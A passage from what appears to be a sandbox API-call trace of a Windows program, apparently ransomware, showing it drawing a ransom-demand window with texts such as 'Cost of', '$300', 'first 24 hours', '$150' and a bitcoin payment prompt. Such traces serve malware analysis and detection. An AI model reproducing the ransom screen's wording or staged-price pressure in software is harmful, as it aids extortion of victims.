lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="$300", dwStyle=0x5600000d, X=47, Y=84, nWidth=79, nHeight=33, hWndParent=0x9020a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10214 [0153.840] SetWindowLongW (hWnd=0x10214, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0153.840] GetWindowLongW (hWnd=0x10214, nIndex=-4) returned 1876339648 [0153.841] SetWindowLongW (hWnd=0x10214, nIndex=-4, dwNewLong=88374934) returned 1876339648 [0153.841] GetWindowLongW (hWnd=0x10214, nIndex=-4) returned 88374934 [0153.841] GetWindowLongW (hWnd=0x10214, nIndex=-16) returned 1174405133 [0153.841] GetWindowLongW (hWnd=0x10214, nIndex=-12) returned 0 [0153.841] SetWindowLongW (hWnd=0x10214, nIndex=-12, dwNewLong=66068) returned 0 [0153.841] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x81, wParam=0x0, lParam=0x19e310) returned 0x1 [0153.842] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x83, wParam=0x0, lParam=0x19e2fc) returned 0x0 [0153.842] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x1, wParam=0x0, lParam=0x19e310) returned 0x0 [0153.842] GetWindow (hWnd=0x10214, uCmd=0x3) returned 0x7020c [0153.842] GetClientRect (in: hWnd=0x10214, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.842] GetWindowRect (in: hWnd=0x10214, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.842] GetParent (hWnd=0x10214) returned 0x9020a [0153.842] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x9020a, lpPoints=0x19dfbc, cPoints=0x2 | out: lpPoints=0x19dfbc) returned -26018107 [0153.842] SetWindowTextW (hWnd=0x10214, lpString="$300") returned 1 [0153.843] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0xc, wParam=0x0, lParam=0x2fb3868) returned 0x1 [0153.843] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x5, wParam=0x0, lParam=0x21004f) returned 0x0 [0153.843] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x3, wParam=0x0, lParam=0x54002f) returned 0x0 [0153.843] GetClientRect (in: hWnd=0x10214, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.843] GetWindowRect (in: hWnd=0x10214, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.843] GetParent (hWnd=0x10214) returned 0x9020a [0153.843] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x9020a, lpPoints=0x19e014, cPoints=0x2 | out: lpPoints=0x19e014) returned -26018107 [0153.843] SendMessageW (hWnd=0x10214, Msg=0x2210, wParam=0x2140001, lParam=0x10214) returned 0x0 [0153.843] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x2210, wParam=0x2140001, lParam=0x10214) returned 0x0 [0153.843] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.844] GetParent (hWnd=0x10214) returned 0x9020a [0153.844] GetCurrentActCtx (in: lphActCtx=0x19e8ec | out: lphActCtx=0x19e8ec*=0xef1264) returned 1 [0153.844] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.844] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.844] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Cost of", dwStyle=0x5600000d, X=35, Y=9, nWidth=109, nHeight=33, hWndParent=0x9020a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10216 [0153.845] SetWindowLongW (hWnd=0x10216, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0153.845] GetWindowLongW (hWnd=0x10216, nIndex=-4) returned 1876339648 [0153.845] SetWindowLongW (hWnd=0x10216, nIndex=-4, dwNewLong=88375254) returned 1876339648 [0153.845] GetWindowLongW (hWnd=0x10216, nIndex=-4) returned 88375254 [0153.845] GetWindowLongW (hWnd=0x10216, nIndex=-16) returned 1174405133 [0153.845] GetWindowLongW (hWnd=0x10216, nIndex=-12) returned 0 [0153.845] SetWindowLongW (hWnd=0x10216, nIndex=-12, dwNewLong=66070) returned 0 [0153.845] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x81, wParam=0x0, lParam=0x19e310) returned 0x1 [0153.846] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x83, wParam=0x0, lParam=0x19e2fc) returned 0x0 [0153.846] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x1, wParam=0x0, lParam=0x19e310) returned 0x0 [0153.847] GetWindow (hWnd=0x10216, uCmd=0x3) returned 0x10214 [0153.847] GetClientRect (in: hWnd=0x10216, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.847] GetWindowRect (in: hWnd=0x10216, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.847] GetParent (hWnd=0x10216) returned 0x9020a [0153.847] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x9020a, lpPoints=0x19dfbc, cPoints=0x2 | out: lpPoints=0x19dfbc) returned -26018107 [0153.847] SetWindowTextW (hWnd=0x10216, lpString="Cost of") returned 1 [0153.847] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0xc, wParam=0x0, lParam=0x2fb4348) returned 0x1 [0153.847] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x5, wParam=0x0, lParam=0x21006d) returned 0x0 [0153.848] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x3, wParam=0x0, lParam=0x90023) returned 0x0 [0153.848] GetClientRect (in: hWnd=0x10216, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.848] GetWindowRect (in: hWnd=0x10216, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.848] GetParent (hWnd=0x10216) returned 0x9020a [0153.848] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x9020a, lpPoints=0x19e014, cPoints=0x2 | out: lpPoints=0x19e014) returned -26018107 [0153.848] SendMessageW (hWnd=0x10216, Msg=0x2210, wParam=0x2160001, lParam=0x10216) returned 0x0 [0153.848] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x2210, wParam=0x2160001, lParam=0x10216) returned 0x0 [0153.848] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.848] GetParent (hWnd=0x10216) returned 0x9020a [0153.848] GetCurrentActCtx (in: lphActCtx=0x19e928 | out: lphActCtx=0x19e928*=0xef1264) returned 1 [0153.849] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.849] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.849] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56800000, X=9, Y=6, nWidth=178, nHeight=127, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10218 [0153.849] SetWindowLongW (hWnd=0x10218, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0153.849] GetWindowLongW (hWnd=0x10218, nIndex=-4) returned 1952448832 [0153.850] SetWindowLongW (hWnd=0x10218, nIndex=-4, dwNewLong=88375054) returned 1952448832 [0153.850] GetWindowLongW (hWnd=0x10218, nIndex=-4) returned 88375054 [0153.850] GetWindowLongW (hWnd=0x10218, nIndex=-16) returned 1182793728 [0153.850] GetWindowLongW (hWnd=0x10218, nIndex=-12) returned 0 [0153.850] SetWindowLongW (hWnd=0x10218, nIndex=-12, dwNewLong=66072) returned 0 [0153.850] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0x81, wParam=0x0, lParam=0x19e348) returned 0x1 [0153.850] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0x83, wParam=0x0, lParam=0x19e334) returned 0x0 [0153.851] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0x1, wParam=0x0, lParam=0x19e348) returned 0x0 [0153.851] GetWindow (hWnd=0x10218, uCmd=0x3) returned 0x9020a [0153.851] GetClientRect (in: hWnd=0x10218, lpRect=0x19e024 | out: lpRect=0x19e024) returned 1 [0153.851] GetWindowRect (in: hWnd=0x10218, lpRect=0x19e024 | out: lpRect=0x19e024) returned 1 [0153.851] GetParent (hWnd=0x10218) returned 0x7004e [0153.851] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e024, cPoints=0x2 | out: lpPoints=0x19e024) returned -16187697 [0153.851] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0x5, wParam=0x0, lParam=0x7d00b0) returned 0x0 [0153.851] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0x3, wParam=0x0, lParam=0x7000a) returned 0x0 [0153.851] GetClientRect (in: hWnd=0x10218, lpRect=0x19e07c | out: lpRect=0x19e07c) returned 1 [0153.851] GetWindowRect (in: hWnd=0x10218, lpRect=0x19e07c | out: lpRect=0x19e07c) returned 1 [0153.851] GetParent (hWnd=0x10218) returned 0x7004e [0153.851] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e07c, cPoints=0x2 | out: lpPoints=0x19e07c) returned -16187697 [0153.852] SendMessageW (hWnd=0x10218, Msg=0x2210, wParam=0x2180001, lParam=0x10218) returned 0x0 [0153.852] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0x2210, wParam=0x2180001, lParam=0x10218) returned 0x0 [0153.852] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.852] GetParent (hWnd=0x10218) returned 0x7004e [0153.852] GetCurrentActCtx (in: lphActCtx=0x19e8ec | out: lphActCtx=0x19e8ec*=0xef1264) returned 1 [0153.852] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.853] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.853] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="first 24 hours", dwStyle=0x5600000d, X=6, Y=48, nWidth=165, nHeight=29, hWndParent=0x10218, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1021a [0153.853] SetWindowLongW (hWnd=0x1021a, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0153.853] GetWindowLongW (hWnd=0x1021a, nIndex=-4) returned 1876339648 [0153.853] SetWindowLongW (hWnd=0x1021a, nIndex=-4, dwNewLong=88375574) returned 1876339648 [0153.853] GetWindowLongW (hWnd=0x1021a, nIndex=-4) returned 88375574 [0153.854] GetWindowLongW (hWnd=0x1021a, nIndex=-16) returned 1174405133 [0153.854] GetWindowLongW (hWnd=0x1021a, nIndex=-12) returned 0 [0153.854] SetWindowLongW (hWnd=0x1021a, nIndex=-12, dwNewLong=66074) returned 0 [0153.854] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0x81, wParam=0x0, lParam=0x19e310) returned 0x1 [0153.854] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0x83, wParam=0x0, lParam=0x19e2fc) returned 0x0 [0153.854] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0x1, wParam=0x0, lParam=0x19e310) returned 0x0 [0153.855] GetWindow (hWnd=0x1021a, uCmd=0x3) returned 0x0 [0153.855] GetClientRect (in: hWnd=0x1021a, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.855] GetWindowRect (in: hWnd=0x1021a, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.855] GetParent (hWnd=0x1021a) returned 0x10218 [0153.855] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10218, lpPoints=0x19dfbc, cPoints=0x2 | out: lpPoints=0x19dfbc) returned -16646459 [0153.855] SetWindowTextW (hWnd=0x1021a, lpString="first 24 hours") returned 1 [0153.855] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0xc, wParam=0x0, lParam=0x2fb508c) returned 0x1 [0153.856] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0x5, wParam=0x0, lParam=0x1d00a5) returned 0x0 [0153.856] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0x3, wParam=0x0, lParam=0x300006) returned 0x0 [0153.856] GetClientRect (in: hWnd=0x1021a, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.856] GetWindowRect (in: hWnd=0x1021a, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.856] GetParent (hWnd=0x1021a) returned 0x10218 [0153.856] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10218, lpPoints=0x19e014, cPoints=0x2 | out: lpPoints=0x19e014) returned -16646459 [0153.856] SendMessageW (hWnd=0x1021a, Msg=0x2210, wParam=0x21a0001, lParam=0x1021a) returned 0x0 [0153.856] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0x2210, wParam=0x21a0001, lParam=0x1021a) returned 0x0 [0153.856] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.856] GetParent (hWnd=0x1021a) returned 0x10218 [0153.856] GetCurrentActCtx (in: lphActCtx=0x19e8ec | out: lphActCtx=0x19e8ec*=0xef1264) returned 1 [0153.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.857] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.857] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="$150", dwStyle=0x5600000d, X=44, Y=83, nWidth=79, nHeight=33, hWndParent=0x10218, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1021c [0153.858] SetWindowLongW (hWnd=0x1021c, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0153.858] GetWindowLongW (hWnd=0x1021c, nIndex=-4) returned 1876339648 [0153.858] SetWindowLongW (hWnd=0x1021c, nIndex=-4, dwNewLong=88375654) returned 1876339648 [0153.858] GetWindowLongW (hWnd=0x1021c, nIndex=-4) returned 88375654 [0153.858] GetWindowLongW (hWnd=0x1021c, nIndex=-16) returned 1174405133 [0153.858] GetWindowLongW (hWnd=0x1021c, nIndex=-12) returned 0 [0153.858] SetWindowLongW (hWnd=0x1021c, nIndex=-12, dwNewLong=66076) returned 0 [0153.858] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021c, Msg=0x81, wParam=0x0, lParam=0x19e310) returned 0x1 [0153.859] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021c, Msg=0x83, wParam=0x0, lParam=0x19e2fc) returned 0x0 [0153.859] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021c, Msg=0x1, wParam=0x0, lParam=0x19e310) returned 0x0 [0153.860] GetWindow (hWnd=0x1021c, uCmd=0x3) returned 0x1021a [0153.860] GetClientRect (in: hWnd=0x1021c, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.860] GetWindowRect (in: hWnd=0x1021c, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.860] GetParent (hWnd=0x1021c) returned 0x10218 [0153.860] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10218, lpPoints=0x19dfbc, cPoints=0x2 | out: lpPoints=0x19dfbc) returned -16646459 [0153.860] SetWindowTextW (hWnd=0x1021c, lpString="$150") returned 1 [0153.860] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021c, Msg=0xc, wParam=0x0, lParam=0x2fb5b80) returned 0x1 [0153.860] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021c, Msg=0x5, wParam=0x0, lParam=0x21004f) returned 0x0 [0153.860] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021c, Msg=0x3, wParam=0x0, lParam=0x53002c) returned 0x0 [0153.861] GetClientRect (in: hWnd=0x1021c, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.861] GetWindowRect (in: hWnd=0x1021c, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.861] GetParent (hWnd=0x1021c) returned 0x10218 [0153.861] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10218, lpPoints=0x19e014, cPoints=0x2 | out: lpPoints=0x19e014) returned -16646459 [0153.861] SendMessageW (hWnd=0x1021c, Msg=0x2210, wParam=0x21c0001, lParam=0x1021c) returned 0x0 [0153.861] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021c, Msg=0x2210, wParam=0x21c0001, lParam=0x1021c) returned 0x0 [0153.861] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.861] GetParent (hWnd=0x1021c) returned 0x10218 [0153.861] GetCurrentActCtx (in: lphActCtx=0x19e8ec | out: lphActCtx=0x19e8ec*=0xef1264) returned 1 [0153.861] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.862] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.862] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Cost of", dwStyle=0x5600000d, X=35, Y=7, nWidth=109, nHeight=33, hWndParent=0x10218, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1021e [0153.862] SetWindowLongW (hWnd=0x1021e, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0153.862] GetWindowLongW (hWnd=0x1021e, nIndex=-4) returned 1876339648 [0153.863] SetWindowLongW (hWnd=0x1021e, nIndex=-4, dwNewLong=88375614) returned 1876339648 [0153.863] GetWindowLongW (hWnd=0x1021e, nIndex=-4) returned 88375614 [0153.863] GetWindowLongW (hWnd=0x1021e, nIndex=-16) returned 1174405133 [0153.863] GetWindowLongW (hWnd=0x1021e, nIndex=-12) returned 0 [0153.863] SetWindowLongW (hWnd=0x1021e, nIndex=-12, dwNewLong=66078) returned 0 [0153.863] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021e, Msg=0x81, wParam=0x0, lParam=0x19e310) returned 0x1 [0153.864] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021e, Msg=0x83, wParam=0x0, lParam=0x19e2fc) returned 0x0 [0153.864] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021e, Msg=0x1, wParam=0x0, lParam=0x19e310) returned 0x0 [0153.864] GetWindow (hWnd=0x1021e, uCmd=0x3) returned 0x1021c [0153.864] GetClientRect (in: hWnd=0x1021e, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.864] GetWindowRect (in: hWnd=0x1021e, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.864] GetParent (hWnd=0x1021e) returned 0x10218 [0153.864] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10218, lpPoints=0x19dfbc, cPoints=0x2 | out: lpPoints=0x19dfbc) returned -16646459 [0153.865] SetWindowTextW (hWnd=0x1021e, lpString="Cost of") returned 1 [0153.865] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021e, Msg=0xc, wParam=0x0, lParam=0x2fb6660) returned 0x1 [0153.865] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021e, Msg=0x5, wParam=0x0, lParam=0x21006d) returned 0x0 [0153.865] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021e, Msg=0x3, wParam=0x0, lParam=0x70023) returned 0x0 [0153.865] GetClientRect (in: hWnd=0x1021e, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.865] GetWindowRect (in: hWnd=0x1021e, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.865] GetParent (hWnd=0x1021e) returned 0x10218 [0153.865] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10218, lpPoints=0x19e014, cPoints=0x2 | out: lpPoints=0x19e014) returned -16646459 [0153.866] SendMessageW (hWnd=0x1021e, Msg=0x2210, wParam=0x21e0001, lParam=0x1021e) returned 0x0 [0153.866] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021e, Msg=0x2210, wParam=0x21e0001, lParam=0x1021e) returned 0x0 [0153.866] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.866] GetParent (hWnd=0x1021e) returned 0x10218 [0153.866] GetCurrentActCtx (in: lphActCtx=0x19e928 | out: lphActCtx=0x19e928*=0xef1264) returned 1 [0153.866] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.867] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.867] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56800000, X=196, Y=333, nWidth=621, nHeight=82, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10220 [0153.867] SetWindowLongW (hWnd=0x10220, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0153.867] GetWindowLongW (hWnd=0x10220, nIndex=-4) returned 1952448832 [0153.867] SetWindowLongW (hWnd=0x10220, nIndex=-4, dwNewLong=88375814) returned 1952448832 [0153.867] GetWindowLongW (hWnd=0x10220, nIndex=-4) returned 88375814 [0153.867] GetWindowLongW (hWnd=0x10220, nIndex=-16) returned 1182793728 [0153.867] GetWindowLongW (hWnd=0x10220, nIndex=-12) returned 0 [0153.868] SetWindowLongW (hWnd=0x10220, nIndex=-12, dwNewLong=66080) returned 0 [0153.868] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0x81, wParam=0x0, lParam=0x19e348) returned 0x1 [0153.868] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0x83, wParam=0x0, lParam=0x19e334) returned 0x0 [0153.868] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0x1, wParam=0x0, lParam=0x19e348) returned 0x0 [0153.868] GetWindow (hWnd=0x10220, uCmd=0x3) returned 0x10218 [0153.868] GetClientRect (in: hWnd=0x10220, lpRect=0x19e024 | out: lpRect=0x19e024) returned 1 [0153.868] GetWindowRect (in: hWnd=0x10220, lpRect=0x19e024 | out: lpRect=0x19e024) returned 1 [0153.868] GetParent (hWnd=0x10220) returned 0x7004e [0153.868] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e024, cPoints=0x2 | out: lpPoints=0x19e024) returned -16187697 [0153.869] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0x5, wParam=0x0, lParam=0x50026b) returned 0x0 [0153.869] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0x3, wParam=0x0, lParam=0x14e00c5) returned 0x0 [0153.869] GetClientRect (in: hWnd=0x10220, lpRect=0x19e07c | out: lpRect=0x19e07c) returned 1 [0153.869] GetWindowRect (in: hWnd=0x10220, lpRect=0x19e07c | out: lpRect=0x19e07c) returned 1 [0153.869] GetParent (hWnd=0x10220) returned 0x7004e [0153.869] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e07c, cPoints=0x2 | out: lpPoints=0x19e07c) returned -16187697 [0153.869] SendMessageW (hWnd=0x10220, Msg=0x2210, wParam=0x2200001, lParam=0x10220) returned 0x0 [0153.869] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0x2210, wParam=0x2200001, lParam=0x10220) returned 0x0 [0153.869] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.870] GetParent (hWnd=0x10220) returned 0x7004e [0153.870] GetCurrentActCtx (in: lphActCtx=0x19e8ec | out: lphActCtx=0x19e8ec*=0xef1264) returned 1 [0153.870] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.870] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.870] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Send dollars to this address bitcoins ", dwStyle=0x5600000d, X=81, Y=8, nWidth=391, nHeight=24, hWndParent=0x10220, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10222 [0153.871] SetWindowLongW (hWnd=0x10222, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0153.871] GetWindowLongW (hWnd=0x10222, nIndex=-4) returned 1876339648 [0153.871] SetWindowLongW (hWnd=0x10222, nIndex=-4, dwNewLong=88375854) returned 1876339648 [0153.871] GetWindowLongW (hWnd=0x10222, nIndex=-4) returned 88375854 [0153.872] GetWindowLongW (hWnd=0x10222, nIndex=-16) returned 1174405133 [0153.872] GetWindowLongW (hWnd=0x10222, nIndex=-12) returned 0 [0153.872] SetWindowLongW (hWnd=0x10222, nIndex=-12, dwNewLong=66082) returned 0 [0153.872] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10222, Msg=0x81, wParam=0x0, lParam=0x19e310) returned 0x1 [0153.872] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10222, Msg=0x83, wParam=0x0, lParam=0x19e2fc) returned 0x0 [0153.872] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10222, Msg=0x1, wParam=0x0, lParam=0x19e310) returned 0x0 [0153.873] GetWindow (hWnd=0x10222, uCmd=0x3) returned 0x0 [0153.873] GetClientRect (in: hWnd=0x10222, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.873] GetWindowRect (in: hWnd=0x10222, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.873] GetParent (hWnd=0x10222) returned 0x10220 [0153.873] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10220, lpPoints=0x19dfbc, cPoints=0x2 | out: lpPoints=0x19dfbc) returned -38076918 [0153.873] SetWindowTextW (hWnd=0x10222, lpString="Send dollars to this address bitcoins ") returned 1 [0153.873] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10222, Msg=0xc, wParam=0x0, lParam=0x2fb7430) returned 0x1 [0153.874] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10222, Msg=0x5, wParam=0x0, lParam=0x180187) returned 0x0 [0153.874] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10222, Msg=0x3, wParam=0x0, lParam=0x80051) returned 0x0 [0153.874] GetClientRect (in: hWnd=0x10222, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.874] GetWindowRect (in: hWnd=0x10222, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.874] GetParent (hWnd=0x10222) returned 0x10220 [0153.874] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10220, lpPoints=0x19e014, cPoints=0x2 | out: lpPoints=0x19e014) returned -38076918 [0153.874] SendMessageW (hWnd=0x10222, Msg=0x2210, wParam=0x2220001, lParam=0x10222) returned 0x0 [0153.874] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10222, Msg=0x2210, wParam=0x2220001, lParam=0x10222) returned 0x0 [0153.874] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10222, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.875] GetParent (hWnd=0x10222) returned 0x10220 [0153.875] GetCurrentActCtx (in: lphActCtx=0x19e8ec | out: lphActCtx=0x19e8ec*=0xef1264) returned 1 [0153.875] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.875] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.875] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=7, Y=35, nWidth=46, nHeight=34, hWndParent=0x10220, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10224 [0153.876] SetWindowLongW (hWnd=0x10224, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0153.876] GetWindowLongW (hWnd=0x10224, nIndex=-4) returned 1952448832 [0153.876] SetWindowLongW (hWnd=0x10224, nIndex=-4, dwNewLong=88375414) returned 1952448832 [0153.876] GetWindowLongW 